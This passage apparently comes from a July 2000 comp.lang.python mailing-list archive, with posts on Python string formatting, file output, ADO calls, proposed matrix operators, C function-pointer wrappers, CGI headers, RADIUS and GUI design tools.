prefer different word-orders.  You would not want your
program where in English it would output:
    Here is a very big house!
    Here is a very rich woman!
to emit, in Italian:
    Ecco una molto grande casa!
    Ecco una molto ricca donna!
believe me; it had better be:
    Ecco una casa molto grande!
    Ecco una donna molto ricca!

The format-string with named placeholders solves the
problem _without_ any need for the specific variable
names to be fixed!  Just change your format-string to:
    "Here is a very %(adj)s %(noun)s!"
in English, and, in Italian, to:
    "Ecco una %(noun)s molto %(adj)s!"
and the output statements to:
    print format % {'adj':adjective1, 'noun':noun1}
    print format % {'adj':adjective2, 'noun':noun2}
and you're all set.


>     Again, simplistic and not in any language, but taken to the extreme
you
> can see the problem.
>
> "%d:0:0 %c:U %s %s %s %s %d %s %s %s \
> %d:0:0!",$a,$b,$c,$d,$e,$f,$g,$h,$i,$j,$k
>
>     What variable goes with what again?

Yes, a format-string with named-placeholders does help with that, too.


But unnamed-placeholders format-string also have their place, when
the *order* of the items being formatted is really what matters,
rather than the variable-names (if any!) that they're tagged with.
I'm very happy not _having_ to invent some arbitrary name when what
I want to do is output one or more arbitrary expressions, computed
on the fly, for example.  Naming has its place, but so does quiet
anonimity...:-).


> >You just don't have to put strings together, to split them up again
later, as
> >much as is usual in Perl (it was _mandatory_ in Perl 4, which had no rich
> >data structures; it's still _popular_ in Perl 5, for various reasons).
>
>    Simplicity.

I find it simpler to use a sequence as-is rather than have to encode
it into a string, then later parse the sequence back from the string.
Using as-is takes 0 operation, the alternative takes 2:-).


> >Why else would I have been so happy, so utterly happy, to leave 8 years
of
> >Perl experience behind and start over from scratch with Python?
>
>     Masochism?  :)

Could be (I _am_, after all, a well-known sadomasochist!), but, if
it were that, I think I'd be programming in C shell (hard to think
of a more painful way to make a living; and yet there _were_ people
writing scripts in it rather than the somewhat-less-painful Bourne
shell, for reasons I've always found utterly unfathomable...).


Alex





From alex at magenta.com  Fri Jul  7 04:57:31 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 7 Jul 2000 10:57:31 +0200
Subject: Win32com ADO curiosity #1: MoveNext
References: <4D0A23B3F74DD111ACCD00805F31D8101D8BD280@RED-MSG-50>
Message-ID: <8k47fm01b7e@news2.newsguy.com>

Bill Tutt <billtut at microsoft.com> wrote in message
news:4D0A23B3F74DD111ACCD00805F31D8101D8BD280 at RED-MSG-50...
> Because this is Python, and not VB or VBScript.
> It's a language syntax thing.
    [snip]
> From: mksql at my-deja.com [mailto:mksql at my-deja.com]
> Sent: Thursday, July 06, 2000 1:21 PM
    [snip]
> Why does MoveNext require the () ? The ADO object model does not
> specify parameters for MoveNext, MoveFirst, etc.

Exactly.  In Python, like in C or C++, just mentioning a
function's name does not *call* it; you have to append
empty parentheses to tell the language that you want to
call the function without parameters.  (Just mentioning
it without parens yields its address in C or C++, the
function-object itself in Python, but that is by the by).

No object model (ADO or other) gets to change the language
from which it is used (C++, Python, or other).


Alex





From alex at magenta.com  Wed Jul  5 10:23:28 2000
From: alex at magenta.com (Alex Martelli)
Date: Wed, 5 Jul 2000 16:23:28 +0200
Subject: "Write to a file" question please?
References: <tzFjOfN2zOzPHwvl3ncklEAEb+fa@4ax.com>
Message-ID: <8jvgk9012ca@news1.newsguy.com>

[posted and mailed]

<cmfinlay at SPAMmagnet.com.au> wrote in message
news:tzFjOfN2zOzPHwvl3ncklEAEb+fa at 4ax.com...
> number = 100
> print "Number =", number
> OUT = open("TT.txt","w")
> OUT.write("Number =", number) # Error
> OUT.close()

The write method accepts one string argument.

You can make a string argument as you seem to
desire with the %-operator:

OUT.write("Number = %d\n" % (number,))

I added the \n line terminator to the string,
because it's not implicit (in print, it IS
implicit, but not in .write).


Another alternative:

    import sys
    sys.stdout = OUT
    print "Number =", number
    sys.stdout = sys.__stdout__
    OUT.close()

By assigning an opened file to sys.stdout
you temporarily "redirect" the output of
normal "print" to that file; you can then
go back to normal using sys.__stdout__,
which keeps the ORIGINAL value.  Not worth
it for writing just a few things, but fine
if you have some function doing a lot of
output with print, for example.


Alex





From paul at prescod.net  Thu Jul 20 02:51:25 2000
From: paul at prescod.net (Paul Prescod)
Date: Thu, 20 Jul 2000 01:51:25 -0500
Subject: Arbitrary operator symbols (Re: Operators for matrix: current 
 choices)
References: <Pine.LNX.4.10.10007181420000.9411-100000@rock.localdomain> <slrn8nbplh.jng.wtanksle@dolphin.openprojects.net> <islmyygd20.fsf@elk.ps.uni-sb.de> <3976884F.51FD33D9@my.signature>
Message-ID: <3976A16D.C66561CF@prescod.net>

Greg Ewing wrote:
> 
> The main problem I see with any kind of scheme requiring
> new operators to be defined before use is how you control
> their scope.
> ...

Tim warned against spending a lot of energy on a runtime operator
definition mechanism. He's not Guido but he felt pretty strongly that he
was channelling Guido when he said: "Just choose some operators for
matrix multiplication and do not either try to define meanings for them
over other operations nor try to make the operators dynamically loadable
or creatable.

-- 
 Paul Prescod - Not encumbered by corporate consensus
"Hardly anything more unwelcome can befall a scientific writer than 
having the foundations of his edifice shaken after the work is 
finished.  I have been placed in this position by a letter from 
Mr. Bertrand Russell..." 
 - Frege, Appendix of Basic Laws of Arithmetic (of Russell's Paradox)





From frr at mindless.com  Mon Jul 10 15:37:15 2000
From: frr at mindless.com (Fernando Rodríguez)
Date: Mon, 10 Jul 2000 19:37:15 GMT
Subject: redirect output of functions to a string or file
Message-ID: <LBpa5.563$iT2.6319@m2newsread.uni2.es>

Hi!

    I have several functions that return strings.  The output of these
functions must be combined and saved into a file.

    Is there a way to tell Python to "automagically" redirect the output
of _all_ functions to a string or file? O:-)

TIA
---------------------------------------
Fernando Rodr?guez




From shochet at my-deja.com  Sat Jul 29 01:44:23 2000
From: shochet at my-deja.com (shochet at my-deja.com)
Date: Sat, 29 Jul 2000 05:44:23 GMT
Subject: Calling C Function Pointers from Python
Message-ID: <8ltqvn$pbl$1@nnrp1.deja.com>

I am currently in the middle of hooking up a large external C++ library by
maintaining a database of C++ function pointers that I will call from Python.
If anybody has tried this before, my question is: Is there a good way to call
these function pointers without having to wrap every single one in a Python-C
module? The only package I know of that might do this job is libffi, but it
only runs on Unix, not on Windows.

Has anybody tried this approach before? I have investigated SWIG, but cannot
use it because the C++ library uses lots of fancy C++ features (templates,
etc) that make it cranky.

Currently my idea is to auto-generate all these function pointer wrappers
with code that looks something like this:

  // Original C++ funcion (a simplified example)
  int add(int a, int b) {return a+b};

  // Wrapped generated Python C function in a module I will import
  static PyObject *_internal_add(PyObject *self, PyObject *args) {
    typedef int (*FUNC1)(int, int);
    FUNC1 _arg0;
    int  _arg1,  _arg2, _result;
    PyObject * _resultObj, _argo0;
    if(!PyArg_ParseTuple(args,"Oii",&_argo0,&_arg1,&_arg2))
	return NULL;
    _arg0 = (FUNC1)PyCObject_AsVoidPtr(_argo0);
    _result = (int)(_arg0(_arg1, _arg2));
    _resultObj = Py_BuildValue("i", _result);
    return _resultObj;
    }

  # I will then call this by passing in the function pointer and arguments
from Python.  def add(a, b):  function_pointer =
lookup_global_function('add')  returnValue = _internal_add(function_pointer,
a, b)  return returnValue

Thanks for any opinions/suggestions.
 -- Joe (shochet at hotmail.com)


Sent via Deja.com http://www.deja.com/
Before you buy.


From lull at acm.org  Thu Jul 20 02:08:04 2000
From: lull at acm.org (John Lull)
Date: 20 Jul 2000 01:08:04 -0500
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net>
Message-ID: <oa5dns8idp0ktl6kvlr37ps1ovrip48a0h@4ax.com>

Penfold wrote:

> What, really, is the point in this.  Its obvious why you want them, but why
> does everyone else?
> This is clearly a *domain specific* problem, which is yours, that you would
> like Python to look like
> MatLab.

I don't think the point is to make Python look like Matlab.  The point
is to permit infix notation in cases where the current alternative is
*really* ugly & hard to read.

That problem extends far beyond linear algebra, & an ideal solution
would be applicable to any problem domain in which infix notation is
greatly preferable.

Regards,
John


From sbrunning at trisystems.co.uk  Mon Jul 10 12:32:34 2000
From: sbrunning at trisystems.co.uk (Simon Brunning)
Date: Mon, 10 Jul 2000 17:32:34 +0100
Subject: Installing and running JPython on the AS/400
Message-ID: <3969fb38_1@nnrp1.news.uk.psi.net>

Has anyone done this? I can't even get the JPython installer (from
<http://www.jpython.org/download.html>) to execute...

--
Cheers,
Simon Brunning
TriSystems Ltd.
sbrunning at trisystems.co.uk
The opinions expressed are mine, and are not necessarily those of my
employer. All comments provided "as is" with no warranties of any
kind whatsoever.






From stpol at mindspring.com  Wed Jul 19 15:11:51 2000
From: stpol at mindspring.com (Dan^)
Date: Wed, 19 Jul 2000 15:11:51 -0400
Subject: are there any tutorials that someone completly new to programming can understand?
References: <8l4klm$2kl$1@slb6.atl.mindspring.net> <slrn8nbn8r.fco.scarblac-spamtrap@flits104-37.flits.rug.nl>
Message-ID: <8l4ueh$6bu$1@nntp9.atl.mindspring.net>

ahh thanks

-Dan




From michael at stroeder.com  Fri Jul 14 06:05:37 2000
From: michael at stroeder.com (Michael =?iso-8859-1?Q?Str=F6der?=)
Date: Fri, 14 Jul 2000 12:05:37 +0200
Subject: Python + Apache 1.3.x (CGI) not working (no mod_python)
References: <8kmjlb$vji$1@nnrp1.deja.com>
Message-ID: <396EE5F1.D44934B7@stroeder.com>

genablu at my-deja.com wrote:
> 
> print 'Content-type: text/plain'
> print ' '

Should be

print 'Content-type: text/plain'
print

or

print 'Content-type: text/plain\r\n'

Ciao, Michael.


From delgado at olaf.de  Wed Jul 26 05:28:59 2000
From: delgado at olaf.de (Olaf Delgado)
Date: Wed, 26 Jul 2000 11:28:59 +0200
Subject: conatraints on "for" magic?
References: <8llqso$q75$1@news.dtc.hp.com>
Message-ID: <r0bml8.vj.ln@olaf.de>

In article <8llqso$q75$1 at news.dtc.hp.com>,
	weeks at golden.dtc.hp.com ((Greg Weeks)) writes:

> How did the implementer of the "fileinput" module convince the "for"
> construct that fileinput.input() was a sequence?

AFAIR, when you write

    for x in seq:
         <do stuff>

Python does something like

    i = 0
    while (1):
        try:
            x = seq[i]
        except IndexError:
            break;
        <do stuff>
        i = i + 1

where, if seq is a class instance, seq[i] just calls
seq.__getitem__(i). So, for classes, all you have to do is to
implement an appropriate __getitem__ method. For builtin types, such
as implemented in an extension module, there is a similar 'magic
method' the implementor may provide.

Regards,

-- 
  ////
  Olaf  Delgado Friedrichs, Bielefeld, Germany
  `='   --- http://www.mathematik.uni-bielefeld.de/~delgado ---


From nobody at nowhere.nohow  Sun Jul 30 12:33:52 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sun, 30 Jul 2000 16:33:52 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <slrn8o42r6.dti.wtanksle@dolphin.openprojects.net> <slrn8o449h.49c.grey@teleute.rpglink.com> <slrn8o4l9e.md1.wtanksle@dolphin.openprojects.net> <3982F04D.74FCF41C@webamused.com> <slrn8o6kna.f91.grey@teleute.rpglink.com> <39834B9F.C6877761@webamused.com> <slrn8o745t.fjt.grey@teleute.rpglink.com> <m2wvi4ruwm.fsf@mycroft.actrix.gen.nz> <slrn8o7rbi.g3b.grey@teleute.rpglink.com>
Message-ID: <QNYg5.2854$6E.754883@ptah.visi.com>

On Sun, 30 Jul 2000 08:57:27 GMT, Steve Lamb <grey at despair.rpglink.com> wrote:
>On 30 Jul 2000 18:31:37 +1200, Paul Foley <see at below> wrote:
>>Isn't it?  Are you sure about that?
>
>    Considering some of the conversations I've sat in on with
>my friends, no, it isn't in some contexts.  I can provide more
>examples if you /really/ want to be that intentionally obtuse.

Steve is correct.  In my experience it is not only inoffensive
in some contexts, it has a positive connotation and means
someting along the lines of what "mate" means in Australia.

I can't believe we're discussing this in a debate about Perl
vs. Python (or more abstractly, strong vs. weak typing).

-- 
Grant Edwards                   grante             Yow!  Could I have a drug
                                  at               overdose?
                               visi.com            


From m.faassen at vet.uu.nl  Mon Jul 31 05:49:01 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 31 Jul 2000 09:49:01 GMT
Subject: experts disagree on "call-by-reference"
References: <8m29o0$p9g$2@news.dtc.hp.com>
Message-ID: <8m3i2d$du4$1@newshost.accu.uu.nl>

(Greg Weeks) <weeks at golden.dtc.hp.com> wrote:
> Lisp, CLU, Java, and Python implement objects, assign objects, and pass
> objects to functions similarly.  [Although Jave differs regarding its
> "primitive" types.]  So I was curious about how various Lisp, CLU, and Java
> texts dealt with the issue of "references" and "call-by-whatever".  I
> examined my bookshelf.  Some texts used phasing I like; others didn't:

> "Lisp" (by Winston and Horn):
[snip]
> "Common Lisp" (by Steele):
[snip]
> Structure and Interpretation of Computer Programs (by Abelson and Sussman):
[also Lisp]

Note that if you use Lisp to do functional programming, 'reference' and
'value' loses meaning in practice as all objects are treated as immutable.
Just like in Python the immutable objects behave with 'value' semantics.

> CLU Reference Manual (by Liskov and others):
[snip]

> The Java Language Specification (by Gosling, Joy, and Steele):

> The text distinguishes between objects and references.  No mention is made
> of call-by-whatever.

In Java for non-primitive types all variables contain references to objects,
so it's the references that are passed (but no explicit reference taking
happens during the call). This is similar to Python.

> All of the passages mentioned above could just as well apply to Python.
> The experts are in explicit disagreement.

I think it's important to note that 'reference' versus 'value' tends to 
becomes an implementation detail if you do pure functional programming.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From timaratz at lisco.com  Tue Jul  4 10:48:12 2000
From: timaratz at lisco.com (Peter Timaratz)
Date: Tue, 4 Jul 2000 09:48:12 -0500
Subject: Looking for Python CGI resources
In-Reply-To: <slrn8m3ol2.g8h.scarblac-spamtrap@flits104-37.flits.rug.nl>
Message-ID: <000101bfe5c6$e0e73f80$24b745c6@timaratz>

I have the book 'Learning Python' and now I'm looking for material oriented
towards using Python for CGI. The only book that seems to cover this topic
in any depth is 'Internet Programming With Python' and it is out of print.
Is there any other CGI material available?




From wlfraed at ix.netcom.com  Tue Jul 11 00:14:20 2000
From: wlfraed at ix.netcom.com (Dennis Lee Bieber)
Date: Mon, 10 Jul 2000 21:14:20 -0700
Subject: Compiling Python
References: <Fera5.15213$6y5.13256073@news2.rdc2.tx.home.com>
Message-ID: <9m5lms0bt9fhiir6c2vju9ti4hvvv473kb@4ax.com>

On Mon, 10 Jul 2000 21:29:09 GMT, "David L. Heald Jr."
<blinocac1 at home.com> declaimed the following in comp.lang.python:

> Does anyone know if there is a compiler available anywhere for python for
> win32?
> 
	Pardon?

	A compiler with which to build Python from source, or

	A compiler which builds native executables from Python programs?


	For the latter, I don't think one exists on any platform --
freeze may be the closest equivalent (as I recall, not having used it,
it embeds Python byte-code into a binary with the Python interpreter).

	For the former... I think folks are working on getting the
downloadable Borland C to compile it, the M$ VC should handle it with no
problems, and gcc probably can manage it.

--
 > ============================================================== <
 >   wlfraed at ix.netcom.com  | Wulfraed  Dennis Lee Bieber  KD6MOG <
 >      wulfraed at dm.net     |       Bestiaria Support Staff       <
 > ============================================================== <
 >        Bestiaria Home Page: http://www.beastie.dm.net/         <
 >            Home Page: http://www.dm.net/~wulfraed/             <


From aotto at t-online.de  Tue Jul 11 10:10:13 2000
From: aotto at t-online.de (Andreas Otto)
Date: Tue, 11 Jul 2000 16:10:13 +0200
Subject: off-topic, "Compiler" technology
References: <396ABBD7.8715465D@t-online.de> <8kf2jf$sqc$1@desig-bs01-s04.adtranzsig.de> <p6qog4424pc.fsf@informatik.hu-berlin.de>
Message-ID: <396B2AC5.971E9D13@t-online.de>

Hi,

  1) I released a TCL "Compiler" which has a significant speedup

      http://home.t-online.de/home/aotto/comp-perf_E.html

      For special cases "Compiler" is 7 times faster. For large scale 
      TCL application's there is a speed increase of 25%.
      This mean if your job need 40 minutes now it will be done in
      30 minutes after compilation

  2) You can download the TCL Compiler and his components

      http://home.t-online.de/home/aotto/comp-main_E.html

  3) "Compiler" finds all of the syntax error in the source-code
     at compile-time ( tested with large real-world TCL application's )

  4) "Compiler" give you hint's haw to improve your source-code

  5) You only have to work in TCL no language mix nothing special.
     Tcl2Meta generate the META code and the back-end's generate
     the source code.

       Meta2Tcl:  proofed error-free optimized TCL code
       Meta2C:    very very fast native C code
       Meta2Java: native java code ( coming soon )

     you work in one language but ship the language you want

  5) Right, i will only develop a python compiler if i don't
     have to carry all of the risk.

> My understanding is that Andreas Otto is still in search for somebody
> who will fund a Python or Perl compiler; so far, apparently nobody was
> interested enough, or trusted that Mr. Otto would indeed be able to
> deliver a compiler offering significant speedup.


mfg

  aotto :)

-- 
================================================================
Andreas Otto              Phone: ++49-(0)8152-399540
IPN Ingenieurbuero fuer   mailto:aotto at t-online.de
    Praezisionsnumerik    Web: http://home.t-online.de/home/aotto
Ulmenstrasse 3            Skills: Unix,Sql,Tcl,Shell,Sybase...
D-34289 Zierenberg        Area: Bank, FX, MM, shares, options
=================================================================


From akuchlin at mems-exchange.org  Fri Jul  7 14:04:42 2000
From: akuchlin at mems-exchange.org (Andrew Kuchling)
Date: Fri, 7 Jul 2000 14:04:42 -0400
Subject: Splitting c.l.py...
In-Reply-To: <39661DE1.A409330C@roguewave.com>; from bjorn@roguewave.com on Fri, Jul 07, 2000 at 12:13:53PM -0600
References: <Pine.LNX.4.21.0007052214190.4947-100000@krispc6.physik.uni-karlsruhe.de> <3dituj9cdi.fsf@kronos.cnri.reston.va.us> <39661DE1.A409330C@roguewave.com>
Message-ID: <20000707140442.B4771@kronos.cnri.reston.va.us>

On Fri, Jul 07, 2000 at 12:13:53PM -0600, Bjorn Pettersen wrote:
>So is this a good time to re-open the discussion on splitting the
>newsgroup/mailing list?

Beats me.  Hmm... here's a possibility: what if python-dev was
gatewayed to a moderated newsgroup comp.lang.python.core-devel?
Messages posted to the group via Usenet would just be bounced back to
the poster, so there's no moderator approving messages, and python-dev
would continue to be invitation-only.  Essentially the newsgroup would
be a read-only view of the python-dev mailing list.

Would that be possible?  Is there a Usenet precedent for this sort of
setup?

--amk



From neilh at scintilla.org  Sat Jul  1 18:44:54 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Sat, 01 Jul 2000 22:44:54 GMT
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <Esm75.3448$Tb7.23118@news-server.bigpond.net.au> <033e01bfe3c1$959868d0$6401a8c0@home>
Message-ID: <Gvu75.4728$Tb7.25150@news-server.bigpond.net.au>

> > Just to stoke the flames a little...
> >
> > Check out some of the talks at the upcoming PDC -
> > http://www.pdc.mscorpevents.com/sessions.asp?tracks=6 - look for Python
>
> Hey! Is this something you've been working on?
> So all these vendors are on board with integration into this new
framework?
> I want to know the rest of the story now.

   Mmm, Python has to share a session with Perl but both APL and Cobol get
their own. At least we're not right down the back with Haskell, Mercury,
Oberon and ML. ;) And there doesn't appear to be a Java binding - what an
oversight!

   Neil





From thomas at cintra.no  Fri Jul 28 10:10:16 2000
From: thomas at cintra.no (Thomas Weholt)
Date: Fri, 28 Jul 2000 14:10:16 GMT
Subject: Good online resource for learning about classic ( advanced ) datastructures ( OO )
Message-ID: <398291c6.20106601@news.online.no>

Hi,

Does anybody know of any good online resource for basic classical
datastructures, preferrably aimed at Python, or language independant? 
It should be pretty step by step, basic, yet complete.

I want to learn more about how stuff like how different trees (
Black-Red, 1-2-3, AWL etc. ) , graphs are constructed, where and when
they're used etc.

I think a similar concept to what I'm after was laid out in the
"Datastructures and Algorithms in Java", but I cannot seem to get my
hands on that book. ( The last time I read it I had problems applying
the stuff to python too. But that's a long time ago so I might be more
productive now. Hopefully ;-> )

My main goal is that I want to learn how to get datastructures to
work, and why they work, when and how to use them. The foundation,
system behind the design.

( Do I make any sense at all ?? )

Thomas


From pinard at iro.umontreal.ca  Mon Jul 31 10:48:29 2000
From: pinard at iro.umontreal.ca (=?ISO-8859-1?Q?Fran=E7ois_Pinard?=)
Date: 31 Jul 2000 10:48:29 -0400
Subject: PY to HTML
In-Reply-To: breiter@usf.Uni-Osnabrueck.DE's message of "31 Jul 2000 12:58:57 GMT"
References: <IZ%f5.2964$kh.401847@news2.rdc2.on.home.com>
	<8m3t6h$g48$3@newsserver.rrzn.uni-hannover.de>
Message-ID: <oq1z0a73uq.fsf@titan.progiciels-bpi.ca>

[Bernhard Reiter]

> > Does anybody know anything that will enable me to convert a Python
> > script to HTML, so I can display it on a webpage nicely formatted with
> > syntax colour coding.  Manually coding is a pain in the posterior :-)

I currently use `enscript' to directly produce HTML from Python with bold
and italics, on the fly within CGI scripts.  You could modify files:

   /usr/share/enscript/hl/python.st
   /usr/share/enscript/hl/lang_html.st

to your taste, for other effects.  I did not try it, but I presume it should
be doable.  Years ago, I needed some non-standard things from `enscript',
and I remember I was able to get what I wanted after some work, but not much.

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From thomas at xs4all.net  Mon Jul 10 15:05:47 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Mon, 10 Jul 2000 21:05:47 +0200
Subject: RADIUS authentication poll
In-Reply-To: <14698.5654.645828.624122@bitdiddle.concentric.net>; from jeremy@beopen.com on Mon, Jul 10, 2000 at 02:29:42PM -0400
References: <14698.5654.645828.624122@bitdiddle.concentric.net>
Message-ID: <20000710210546.N26534@xs4all.nl>

On Mon, Jul 10, 2000 at 02:29:42PM -0400, Jeremy Hylton wrote:

> We recently received a module submission for the Python standard
> library that implements very basic RADIUS authentication.  It's not
> clear how widely useful this module would be.  I've never heard of
> RADIUS authentication before, so I'm inclined to think it is a bit
> obscure for the standard library.  If you think I'm wrong and would
> like to see it in the library, please send me a note to that effect.
> I'll be happy to include it by popular demand.

RADIUS is a protocol to do remote authentication. It's mostly used in the
form of access-routers (dialin servers, leased-line routers) which ask a
centralized server whether the given login/password combination is correct.
It has room for a lot of extra options, like passing configuration options
back and forth, and it's used in schemes like 'international access', where
one providers' radius server polls another providers' radius server to see
if a user of the second ISP is allowed to dial in with the first ISP.

(RADIUS, if I recall correctly, was developed by Livingston, one of the
world players in access routers, which has since been bought by Lucent.
Most, if not all, access routers adopted RADIUS, though some in concert with
their own protocol(s).)

Not really something to put in the std. lib, in my humble opinion. There are
a lot more generally useful modules, like bytecodehacks and the mxSeries,
that are more fitting candidates for inclusion. (Not that I'm advertising
those particular modules, I'm just giving an example.)

(CC list so anyone can disagree ;)

Of course, if the issue is that the module has no place to live, and will
die out if not adopted, I'm willing to adopt it myself. I'd probably not
actually use or develop it, but I can keep it up to date and test it. I
might even use it to test our own RADIUS servers :)

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From alex at magenta.com  Sun Jul 30 11:38:58 2000
From: alex at magenta.com (Alex Martelli)
Date: Sun, 30 Jul 2000 17:38:58 +0200
Subject: Calling C Function Pointers from Python
References: <8ltqvn$pbl$1@nnrp1.deja.com> <Uwug5.15044$4p3.118240@news-server.bigpond.net.au> <39840d9b_1@news.newsfeeds.com> <zUUg5.16220$4p3.129370@news-server.bigpond.net.au> <slrn8o879j.162.erwin@erwin.andreasen.org> <0mVg5.16257$4p3.129481@news-server.bigpond.net.au>
Message-ID: <8m1jbq02ue9@news2.newsguy.com>

"Neil Hodgson" <neilh at scintilla.org> wrote in message
news:0mVg5.16257$4p3.129481 at news-server.bigpond.net.au...
    [snip]
>    And then you'll run into opposition from people who think that this is
> too dangerous. You can crash Python easily with
>
> calldll.call_foreign_function(0,"l","l",(0,))

Couldn't the call_foreign_function be internally wrapped in a
best-try attempt at handling any resulting errors more
gracefully than with a crash?  E.g., on Win/NT, a SEH
__try/__except; on Unix, a local attempt to handle any and
all 'signal's resulting from wild pointers, etc.  No 100%
safety by any means, of course, but maybe still better...?


Alex





From olivierS.dagenaisP at canadaA.comM  Sat Jul 15 18:52:17 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Sat, 15 Jul 2000 22:52:17 GMT
Subject: wxDesigner: Commercial dialog editor for wxWindows and wxPython
References: <39700FD0.3C368827@ruf.uni-freiburg.de>
Message-ID: <BW5c5.82465$W35.1955372@news20.bellglobal.com>

Coming from VB, I decided to give the editor a try.  It's nice, but I
wouldn't pay 70 american dollars for it.  I hope my comments will be
useful...

Great points:
1 - I love the idea of representing the hiearchy of sizers and widgets in a
treeview, especially that you use different icons for the two.  Would be
even better if you used an icon representing the type of widget, and put the
widget name as the node's string value.

2 - Ability to test your dialog.  This is great to make sure it resizes
correctly.

3 - Ability to output to C++, Pyhthon or XML.  Would be even cooler if you
exposed the objects so more persisters could be written (by third parties)

4 - Highlighting the current widget and the widget's parent.  Excellent to
keep track of the relationships.


Not so great points:

5 - The toolbars at the top of the editor are overwhelming (at first) and it
would be very nice to either re-organize/customize them, to dock/undock
sections or to turn them on and off at will.  Maybe giving the toolbars
names, too, would help disambiguate the actions.

6 - Inability to move controls around (drag and drop) after they are placed
on the form (without resorting to cut/paste - which, incidentally, doesn't
work with Ctrl+Insert, Shift+Delete and Shift+Insert, respectively Copy, Cut
and Paste)

7 - No keyboard support, especially the DELETE key not doing anything in
either the treeview or the main editor.

8 - Must use a seperate dialog to change properties of widgets or
containers.  A property grid would be excellent for this.

9 - Right-clicking on nodes of the treeview does nothing.  If suggestion "1"
was implemented, it would be nice to have the same context menu as there is
when right-clicking on the widget itself.

10 - Single document interface makes it hard to do many things at once.
(maybe this is a limitation of wxWindows?)

11 - Unable to select multiple controls (to move them all around, to
cut/copy them all, to delete them all, etc..)

12 - There's no "Proportional" button in the toolbar. (???)

13 - "Empty spaces" only show up blank.  It would be nice if the editor gave
you an indication that you had put an "empty space" on the form, only when
you are editing.

14 - New widgets appear in a weird way.  I'd like to drag a new widget in
the spot I want it to go, instead of deciding ahead of time where it will go
before or after the currently selected widget.  (So, to add a new widget, I
have to first click on an existing one, click either before or after, then
click on the new one.  I usually think of it backwards:  I choose a new
widget then find where to put it.)

15 - Closed source, commercial product.  I would want to help out if it was
open-source.  I would also be willing to pay for the product, if it had the
features I mention above...


It's a promising product.  I'll be happy to test out the next version, as I
really like the hiearchical representation of the relationships and it could
prove very useful in designing large applications.

Good luck!

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III



"Robert Roebling" <roebling at ruf.uni-freiburg.de> wrote in message
news:39700FD0.3C368827 at ruf.uni-freiburg.de...
>
>   Hello,
>
> [I am using this list, since the python-announce list is no
>  longer functional.]
>
> I would like to announce wxDesigner 1.0, a commercial program
> that can be used in connection with the free C++ GUI wxWindows
> library and its populare Python bindings called wxPython.
>
> wxDesigner is a dialog editor that allows its users to visually
> create dialogs using a simple point and click interface. The
> output produced by wxDesigner can be either of C++ code, Python
> code or XML, making co-development with wxWindows and wxPython
> much easier than before.
>
> wxDesigner is available for Windows and Linux (Intel and PowerPC),
> more information including pricing is available from:
>
>   http://www.roebling.de
>
> For more information about wxWindows and wxPython, have a look at:
>
>   http://www.wxwindows.org
>   http://www.wxpython.org
>
> Regards,
>
>     Robert Roebling <mailto:roebling at ruf.uni-freiburg.de>
>
> <P><A HREF="http://www.roebling.de">wxDesigner 1.0</A> -
>    Commercial dialog editor for wxWindows and wxPython. (13-July-2000)
>
>




From hzhu at localhost.localdomain  Thu Jul 20 19:23:14 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Thu, 20 Jul 2000 23:23:14 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <39777941.1A85F3CA@STScI.Edu>
Message-ID: <slrn8nf2it.rb.hzhu@localhost.localdomain>

On Thu, 20 Jul 2000 18:12:18 -0400, Paul Barrett <Barrett at STScI.Edu> wrote:
>
>The one issue that concerns me about this discussion is the continued narrow
>focus to emulate Matlab syntax to the exclusion of more general N-dimensional
>operations.  I can see the need for some more general operators, but I'm not
>for any of this, if all we're doing is defining 2-D Matlab syntax.   I
>suggest the Matlab people take a look at APL or J to get a broader
>perspective of array languages.

As far as I'm aware, multiarray necessarily involves indices.  So infix
operators are not so useful, until a class with index labels are defined.
This means

a.label(1,2,3,6) * b.label(1,4,2,5,7)

would do what's written on paper as

a_ijkl * b^imjcnp

and gives a tensor similar to c.label(3,6,4,5,7).  But once you are dealing
with such classes, you'd be implementing a lot of other methods and
redefining __mul__ anyway.  You might even need a way to distinguish
covariant and contravariant indices. The infix notation itself would
certainly not be the main issue.

The only default meaning for tensor inner product I would agree was what
Greg Lielens proposed, effectively,

a*b  == a.label(1,2,3,4)*b.label(4,5,6,7,8)

But this is the same as the matrix notation. 

OTOH, would you care to give a brief summary of how these other languages
deal with these issues?  It may indeed provide valuable insight.

Huaiyu


From cgw at fnal.gov  Fri Jul 21 19:14:55 2000
From: cgw at fnal.gov (Charles G Waldman)
Date: 21 Jul 2000 18:14:55 -0500
Subject: example Tkinter code?
References: <8l7cvb$c61$1@mcnet.marietta.edu>
Message-ID: <vme66pzjcsw.fsf@buffalo.fnal.gov>

"Locke" <brown.2053 at osu.NOSPAM.edu> writes:

